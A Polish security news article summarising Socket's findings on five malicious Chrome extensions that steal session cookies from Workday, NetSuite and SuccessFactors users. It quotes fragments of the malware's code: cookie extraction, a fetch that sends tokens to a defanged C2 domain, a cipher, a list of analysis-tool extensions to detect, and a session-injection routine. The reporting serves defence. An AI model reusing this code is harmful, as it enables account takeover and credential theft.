Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Kolejne złośliwe wtyczki do Chrome. Na celowniku użytkownicy systemów ERP / HR
Badacze z firmy Socket zidentyfikowali 5 złośliwych rozszerzeń do Chrome, których celem było przejmowanie kont w korporacyjnych systemach HR / ERP. Cztery z nich były publikowane przez twórcę databycloud1104, natomiast piąte – choć publikowane przez softwareaccess, działa w bardzo zbliżony sposób. Łącznie rozszerzenia te dotarły do ponad 2300 użytkowników – tak niski zasięg jest spowodowany zapewne specyficzną grupą docelową. Wszystkie zostały zgłoszone przez badaczy do zespołu bezpieczeństwa Chrome Web Store.
TLDR:
- Niezmiennie polecamy minimalizować liczbę wtyczek oraz używać kart incognito / osobnej przeglądarki do bardziej wrażliwych operacji.
- Badacze z Socket wykryli 5 złośliwych rozszerzeń Chrome podszywających się pod narzędzia ułatwiające korzystanie z systemów ERP / HR (Workday, NetSuite i SuccessFactors).
- Wtyczki wykradają tokeny sesji z cookies i regularnie wysyłają je do serwerów C2, umożliwiając przejęcie kont użytkownika.
- Rozszerzenia stosują obfuskację, szyfrowanie komunikacji z C2 oraz techniki utrudniające analizę (blokowanie narzędzi deweloperskich, wykrywanie innych wtyczek).
- Jedno z rozszerzeń pozwala atakującym automatycznie “zalogować się” do przejętych sesji bez znajomości haseł ani 2FA.
Rozszerzenia są reklamowane jako narzędzia zwiększające produktywność, które usprawniają dostęp do platform korporacyjnych. Przekaz jest skierowany do użytkowników pracujących na wielu kontach w systemach Workday, NetSuite i SuccessFactors.
Wtyczka DataByCloud 2 prezentuje dopracowany dashboard obiecujący “narzędzia premium” dla Workday, NetSuite i innych platform. Rozszerzenie ma pomagać w zarządzaniu wieloma kontami korporacyjnymi. Z kolei drugie rozszerzenie, Tool Access 11, ma… poprawiać bezpieczeństwo. Wtyczka ponoć zapobiega dostępowi użytkowników do wrażliwych funkcji administracyjnych.

Wszystkie żądają standardowych uprawnień do łączenia się i interakcji z platformami korporacyjnymi. Dla użytkowników regularnie przełączających się między wieloma kontami klientów lub organizacjami możliwość sprawnego uwierzytelniania i narzędzi do zbiorczej obsługi może brzmieć atrakcyjnie.
W rzeczywistości wtyczki te robią… trochę więcej. DataByCloud Access (v1.6) przesyła tokeny uwierzytelniające z cookies do domeny api[.]databycloud[.]com co 60 sekund. Data By Cloud 1 (v3.2) działa podobnie, ale dodatkowo blokuje narzędzia deweloperskie przeglądarki, utrudniając podejrzenie jej kodu.
Rozszerzenia kradnące cookies najpierw wyodrębniają poświadczenia, a następnie w sposób szyfrowany przesyłają je do serwera C2 (Command & Control). Główna funkcja celuje w cookies o nazwie __session, które zawierają tokeny uwierzytelniające. Kod ten wygląda identycznie w DataByCloud Access, Data By Cloud 1 i Software Access:
y=e=>chrome.cookies.getAll({domain:e})n=e=>decodeURIComponent(e?.filter((e=>"__session"===e.name))?.[0]?.value||"") |
Listing 1 – pobieranie cookies, źródło: socket.dev
Pierwsza funkcja pobiera wszystkie cookies dla określonej domeny. Druga filtruje wyniki w celu zlokalizowania cookie __session i dekoduje jego wartość. Tokeny sesji są następnie przesyłane do serwera atakujących przy użyciu Fetch API:
const c=e.base_url?e.base_url:t+"/api/v1/mv3"await fetch(c+a+(n||""),m) |
Listing 2 – wysyłanie pozyskanych cookies, źródło: socket.dev
DataByCloud Access i Data By Cloud 1 wysyłają skradzione tokeny do api[.]databycloud[.]com/api/v1/mv3. Software Access wysyła je do api[.]software-access[.]com/api/v1/mv3. Identyczna ścieżka dla różnych domen sugeruje wspólną infrastrukturę.
Rozszerzenia trwałe monitorują zmiany – rejestrują listener, który wykrywa aktualizacje stanu uwierzytelnienia. Dodatkowo co 60 sekund sprawdzają stan uwierzytelnienia użytkownika (pozwala to wykryć np. przelogowanie na inne konto):
chrome.alarms.create("checkLogin",{ periodInMinutes:1, delayInMinutes:1}) |
Listing 3 – sprawdzanie stanu uwierzytelnienia, źródło: socket.dev
Zapewnia to, że atakujący utrzymują aktualne tokeny nawet wtedy, gdy użytkownicy wylogowują się i logują ponownie.
Szyfrowanie komunikacji z serwerem C2
DataByCloud Access i Data By Cloud 1 szyfrują ruch do serwera C2. Wykorzystują w tym celu szyfr Vigenère’a:
class o extends a{ constructor(e){super(),this._shiftArray=e.map((e=>(e%26+26)%26))}} |
Listing 4 – szyfrowanie ruchu do C2, źródło: socket.dev
Szyfr przesuwa znaki o pozycje zdefiniowane w _shiftArray. Utrudnia to analizę, bo wymaga ona uprzedniego odszyfrowania danych.
W samym kodzie stosowane są techniki obfuskacji. Krytyczne funkcje używają jednoznakowych identyfikatorów, które utrudniają ich zrozumienie podczas przeglądu kodu.
Wykrywanie innych wtyczek
Wszystkie 5 rozszerzeń wykrywa (na podstawie listy) 23 inne rozszerzenia, a ich znalezienie jest raportowane do serwera C2. Obejmuje to narzędzia do zarządzania cookies, deweloperskie i inne:
bad_exts: { fngmhnnpilhplaeedifhccceomclgfbg: { name: "EditThisCookie"}, hlkenndednhfkekhgcdicdfddnkalmdm: { name: "Cookie-Editor" }, idgpnmonknjnojddfkpgkljpfnnfcklj: { name: "ModHeader" }, lmhkpmbekcpmknklioeibfkpmmfibljd: { name: "Redux DevTools" }, mpoceiclggbdkloafnlhlegknfcgomhd: { name: "SessionBox" }, // ... 18 more entries} |
Listing 5 – lista “złych” rozszerzeń, źródło: socket.dev
W tym celu wykorzystywane jest API Chrome – wtyczki sprawdzają inne zainstalowane rozszerzenia, porównując ich identyfikatory z listą. Pozwala to atakującym ocenić, czy ofiara korzysta z narzędzi, które mogłyby utrudnić lub ujawnić kradzież poświadczeń.
Fakt, że każda z 5 wtyczek korzysta z tej samej listy, w połączeniu ze spójnymi endpointami API sugeruje, że wszystkie są elementem jednej kampanii.
Automatyzacja przejmowania sesji
Wtyczka Software Access oprócz wykradania cookies ofiary dodatkowo dostarcza atakującym narzędzie do obsługi przejętych kont. Pozwala szybko i wygodnie “zalogować się” do sesji ofiary przez wykradzione poświadczenia:
export const loginToTool = async (subtool) => { |
Listing 6 – pobieranie wykradzionych cookies, źródło: socket.dev
Funkcja usuwa istniejące cookies dla danej domeny, pobiera wykradzione poświadczenia z serwera C2, a następnie wczytuje uzyskane w ten sposób poświadczenia przy użyciu chrome.cookies.set(). Pozwala to w prosty sposób uzyskać identyczny dostęp do usług, jaki miał atakowany użytkownik – bezpośrednio w przeglądarce. Bez znajomości hasła ani konieczności ominięcia dwuetapowego uwierzytelniania.
Domeny C2
Próba dostępu do domeny software-access[.]com skutkuje błędem SSL handshake (kod 525 w Cloudflare). Docelowy serwer ma więc nieprawidłowy certyfikat SSL lub jest on źle skonfigurowany. Domena jest zarejestrowana, ale infrastruktura backendowa nie działa już jako publicznie dostępna usługa. Z kolei domena databycloud[.]com zwraca błąd 404 (prawdopodobnie szablon frameworka Laravel). W obu przypadkach pod główną domeną nie istnieje więc żadna strona, ale rozszerzenia komunikują się z subdomenami API.

Brak jakichkolwiek stron internetowych pod obiema domenami sugeruje, że jest to infrastruktura do “jednorazowego użycia” na potrzeby złośliwych rozszerzeń i nie ma tu mowy o żadnej realnej usłudze. Rozszerzenia odwołują się do tych domen w opisach i uprawnieniach, o które proszą, ale nie jest tam hostowana żadna rzeczywista usługa. Atakujący utrzymują minimalną infrastrukturę niezbędną do eksfiltracji poświadczeń.
Utrudnianie analizy
Data By Cloud 1 oraz Software Access wykorzystują bibliotekę DisableDevtool w celu utrudnienia analizy kodu. Biblioteka ta implementuje wiele metod, które blokują otwarcie narzędzi deweloperskich albo automatycznie je zamykają.
Techniki wykrywania obejmują m.in. wykorzystanie różnic w zachowaniu console.log(), zależnie od otwarcia narzędzi deweloperskich, a także funkcje get, które umożliwiają wykrycie analizy kodu. Dodatkowo sprawdzany jest rozmiar okna, co pozwala wykryć czy panel DevTools jest otwarty “obok” strony.
Choć wtyczki nie dotarły do wielu użytkowników, całkiem precyzyjna grupa docelowa zapewne poprawiła skuteczność samej kampanii. Jeśli użytkownik instalował rozszerzenie, najprawdopodobniej miał dostęp do któregoś z systemów ERP / HR, co tworzyło szansę na wykradnięcie poświadczeń.
Nie jest to pierwsza sytuacja, kiedy niewinne dodatki do przeglądarek (i nie tylko) robią znacznie gorsze rzeczy niż powinny. Polecamy uwadze nasze dotychczasowe teksty o złośliwych wtyczkach.
Główną rekomendacją w kwestii rozszerzeń jest ograniczenie ich liczby do niezbędnego minimum. Bardziej wrażliwe operacje (np. logowanie do bankowości / ePUAP / inne usługi rządowe / finansowe) można wykonywać w osobnej przeglądarce (tylko do tego celu) lub kartach incognito (wtyczki domyślnie nie mają do nich dostępu – o ile sami nie przyznamy go podczas instalacji, co odradzamy).
Źródło: socket.dev
~Tymoteusz Jóźwiak
